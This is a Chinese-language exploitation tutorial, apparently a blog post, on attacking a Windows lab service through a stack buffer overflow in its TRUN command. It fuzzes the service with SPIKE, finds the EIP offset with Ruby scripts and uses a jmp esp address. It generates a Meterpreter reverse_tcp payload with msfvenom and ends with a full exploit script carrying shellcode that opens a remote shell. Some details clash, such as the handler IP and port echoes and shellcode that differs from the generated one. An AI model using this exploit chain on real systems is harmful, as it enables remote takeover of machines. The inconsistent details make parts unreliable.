重制版,新版教程,包含ROP反導繞過DEP技術: https://www.cnblogs.com/LyShark/p/12340479.html
執行模糊測試
模糊測試(Fuzzing)
,是用於漏洞挖掘
的探測工作,主要用於發現
那些函數存在漏洞
,通過向目標系統提供非預期的輸入
並監視異常結果來發現軟件漏洞的方法,其原理主要是通過輸入
大量數據,發現程序中存在的問題
.可以通過使程序某些內容溢出出現異常,或者輸入的是程序規定的范圍內的數據結果出現異常,從而找出程序的bug.
盡管當今有許多模糊測試工具可以使用,但是在Kali Linux
系統中默認集成了SPIKE
,從技術上講SPIKE實際上是一個模糊器
創建工具包,它提供了API
允許用戶使用C語言基於網絡的協議來創建自己的fuzzer,該工具可以通過編寫腳本
的方式進行測試任務,而無須自行編寫上百行的測試代碼.
創建測試腳本: 在測試之前,首先我們先來創建一個測試腳本,該腳本命名為lyshark.spk
,腳本的內容如下.
root@kali:~# vim lyshark.spk
s_readline(); # 接收第一行的數據
s_string("stats |"); # 向目標發送字串開頭
s_string_variable("A"); # 發送的主體字符串
測試STATS函數: 我們使用generic_send_tcp
進行測試,測試服務器程序中stats
函數是否存在漏洞,其命令如下:
root@kali:~# generic_send_tcp 192.168.1.10 9999 lyshark.spk 0 0
Fuzzing Variable 0:1198
line read=
Fuzzing Variable 0:1199
line read=
Fuzzing Variable 0:1200
line read=
Fuzzing Variable 0:1201
line read=
Fuzzing Variable 0:1202
line read=
Fuzzing Variable 0:1203
^C
root@kali:~#
經過上面的測試后,發現服務器程序並沒有崩潰,只是出現了一些錯誤日志,則說明stats
函數不存在遠程溢出漏洞,接着我們修改測試代碼,並繼續測試.
修改測試腳本: 我們接着打開lyshark.spk
這個測試腳本,修改測試函數,這里改為trun
即可.
root@kali:~# vim lyshark.spk
s_readline(); # 接收第一行的數據
s_string("trun |"); # 向目標發送字串開頭
s_string_variable("A"); # 發送的主體字符串
測試TRUN函數: 我們使用generic_send_tcp
進行測試,測試服務器程序中trun
函數是否存在漏洞,其命令如下:
root@kali:~# generic_send_tcp 192.168.1.10 9999 lyshark.spk 0 0
Fuzzing Variable 0:1198
line read=
Fuzzing Variable 0:1199
line read=
Fuzzing Variable 0:1200
line read=
Fuzzing Variable 0:1201
line read=
Fuzzing Variable 0:1202
line read=
Fuzzing Variable error
^C
root@kali:~#
經過上面的模糊測試,你會發現服務器端崩潰了
,我們的服務器在應對二進制字符串
時表現異常,其實這就是一個典型的遠程緩沖區溢出
漏洞,之所以會崩潰的原因是因為緩沖區沒有進行合理的邊界檢測
,從而超出了緩沖區的容量,惡意的字符串覆蓋了EIP
指針,導致服務器不知道下一跳去哪里取指令,從而崩潰了.
控制EIP指針
在上面的模糊測試環節,我們已經清楚的知道路目標服務器的,trun函數
存在遠程緩沖區溢出漏洞
,接下來
我們就來測試一下目標緩沖區的大小
,這也是控制EIP
指針的前提條件,現在我們需要具體的知道使用多少個字節才能夠不多不少
的覆蓋掉程序中EIP寄存器,首先先來創建一個Ruby腳本,來完成遠程對緩沖區的填充,這里Ruby的代碼如下.
root@kali:~# vim lyshark.rb
require 'socket'
host = '192.168.1.10'
port = 9999
sock = TCPSocket.open(host, port)
command = "trun |" # 指定要測試的函數
header = "/.:/" # 數據包發送固定寫法
buf = "A" * 2000 # 生成2000個A(猜測)
eip = "BBBB" # 暫且填充為BBBB
nops = "\x90" * 20 # 填充20個nop指令
sock.gets() # 獲取服務端返回的字符串
sock.puts( command+header+buf+eip+nops ) # 開始發送2000個A
sock.close
root@kali:~# ruby lyshark.rb
上面的代碼主要作用是,生成2000個A
,在Kali上運行代碼后,發現服務器崩潰了,崩潰事件中還提供了具體的EIP地址,這說明腳本正常工作了.
接下來我們在服務器上,使用x64dbg調試器
附加到MyServer.exe
這個服務程序的進程上,並在調試器附加的基礎上,再次執行lyshark.rb
這個腳本.
當腳本運行后,不出所料程序再次崩潰
,這里我們主要關心崩潰后的堆棧情況,下圖可發現EIP指針為90904242
,也就是說當前EIP一半在nop雪橇上另一半在AA上,由此我們可以猜測此時我們填充少了.
通過上面的EIP覆蓋情況,發現填充物少填充了2個字符,接着我們修改攻擊腳本
,將填充物改大一些,這次我們改成2002
,也就是說向遠程堆棧內填充2002個A
,重新運行服務器上的服務,並再次運行
攻擊腳本.
require 'socket'
host = '192.168.1.10'
port = 9999
sock = TCPSocket.open(host, port)
command = "trun |" # 指定要測試的函數
header = "/.:/" # 數據包發送固定寫法
buf = "A" * 2002 # 生成2002個A
eip = "BBBB" # 方便區分
nops = "\x90" * 50
sock.gets()
sock.puts( command+header+buf+eip+nops ) # 發送2002個A
sock.close
root@kali:~# ruby lyshark.rb
當攻擊腳本運行后,我們查看一下EIP指針的位置,你會發現此時的EIP地址已經指向了42424242
,也就是我們腳本中填充的eip = "BBBB"
,由此可得出填充物的大小剛好為2002
個A,在下圖的堆棧區域中,也可以清晰地看到我們填充的AAAA
與nop雪橇
的分界線.
### 構建漏洞攻擊過程
在上面的環節中我們已經確定了
填充物的大小
,但細心的你會發現程序每次運行其棧地址
都是隨機變化
的,在Windows漏洞利用
過程中,由於動態鏈接庫
的裝入和卸載等原因,Windows進程的函數棧幀可能產生移位
,即ShellCode
在內存中的地址是動態變化
的,因此需要Exploit(漏洞利用代碼)
在運行時動態定位棧中的ShellCode
地址.
我們第一步就是尋找一個跳板,能夠動態的定位棧地址的位置,在這里我們使用jmp esp
作為跳板指針,其基本思路
就是,使用內存中任意一個jmp esp
的地址覆蓋返回
地址,函數返回后被重定向
去執行內存中jmp esp
指令,而esp寄存器
的地址正好是我們布置好的nop雪橇
的位置,此時EIP指針
就會順着nop雪橇
滑向我們構建好的惡意代碼,從而觸發我們預先布置好的ShellCode代碼.
選擇模塊: 首先通過x64dbg調試器
附加服務程序,然后選擇符號菜單,這里我找到了kernelbase.dll
這個外部模塊,模塊的選擇是隨機的,只要模塊內部存在jmp esp
指令就可以利用.
搜索跳板: 接着搜索該模塊中的jmp esp
指令,因為這個指令地址是固定的,我們就將EIP指針
跳轉到這里,又因esp寄存器存儲着當前的棧地址,所以剛好跳轉到我們布置好的nop雪橇的位置上.
在x64dbg調試器
的反匯編界面中,按下ctrl + f
搜索,並記錄下這個搜尋到的地址0x77433f73
,其實這里隨便一個只要是jmp esp 指令
的都可以,我們將其作為EIP的跳轉地址.
生成漏洞利用代碼
當然可以從零開始構建漏洞攻擊所使用的ShellCode但這需要你具備匯編的編程能力,不過慶幸的是Metaspoloit在這方面可以為我們做很多,我們可以通過MSF提供的msfvenom命令
快速的生成一個有效載荷.
root@kali:~# msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp \
> -b '\x00\x0b' LHOST=192.168.1.2 LPORT=9999 -f ruby
Found 11 compatible encoders
Payload size: 368 bytes
Final size of ruby file: 1612 bytes
buf =
"\xba\x94\x23\x08\x8e\xdb\xd1\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x03\x56\x13\x83\xee\x68\xc1\xfd\x72" +
"\x78\x84\xfe\x8a\x78\xe9\x77\x6f\x49\x29\xe3\xfb\xf9\x99" +
最后在msf控制主機,啟動一個偵聽器,等待我們的攻擊腳本運行。
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf5 exploit(multi/handler) > set lport 9999
lport => 8888
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.10:9999
經過上面的步驟我們已經構建出了漏洞利用代碼,此時我們運行構建好的攻擊代碼。
require 'socket'
host = '192.168.1.10'
port = 9999
sock = TCPSocket.open(host, port)
command = "trun |" #數據包包頭寫法
header = "/.:/" #數據包發送固定寫法
buf = "A" * 2002 #2002個字節剛好填充滿
eip = "\x73\x3f\x43\x77" #EIP=77433F73 將該地址反寫
nops = "\x90" * 20 #此處是nop雪橇填充的20個字節
shellcode =
"\xd9\xf7\xd9\x74\x24\xf4\x5a\xbb\xc8\xbb\x47\x96\x29\xc9" +
"\xb1\x56\x31\x5a\x18\x83\xc2\x04\x03\x5a\xdc\x59\xb2\x6a" +
"\x34\x1f\x3d\x93\xc4\x40\xb7\x76\xf5\x40\xa3\xf3\xa5\x70" +
"\xa7\x56\x49\xfa\xe5\x42\xda\x8e\x21\x64\x6b\x24\x14\x4b" +
"\x6c\x15\x64\xca\xee\x64\xb9\x2c\xcf\xa6\xcc\x2d\x08\xda" +
"\x3d\x7f\xc1\x90\x90\x90\x66\xec\x28\x1a\x34\xe0\x28\xff" +
"\x8c\x03\x18\xae\x87\x5d\xba\x50\x44\xd6\xf3\x4a\x89\xd3" +
"\x4a\xe0\x79\xaf\x4c\x20\xb0\x50\xe2\x0d\x7d\xa3\xfa\x4a" +
"\xb9\x5c\x89\xa2\xba\xe1\x8a\x70\xc1\x3d\x1e\x63\x61\xb5" +
"\xb8\x4f\x90\x1a\x5e\x1b\x9e\xd7\x14\x43\x82\xe6\xf9\xff" +
"\xbe\x63\xfc\x2f\x37\x37\xdb\xeb\x1c\xe3\x42\xad\xf8\x42" +
"\x7a\xad\xa3\x3b\xde\xa5\x49\x2f\x53\xe4\x05\x9c\x5e\x17" +
"\x71\xe3\xf6\xf7"
sock.gets()
sock.puts( command+header+buf+eip+nops+shellcode )
sock.close
查看攻擊主機,即可看到一個反向連接shell,此時我們可以遠程執行任意命令。
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.10:9999
[*] Sending stage (179779 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.1.10:9999 -> 192.168.1.2:9900) at 2019-03-27
meterpreter > sysinfo
Computer : web-server
OS : Windows Server2008.
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >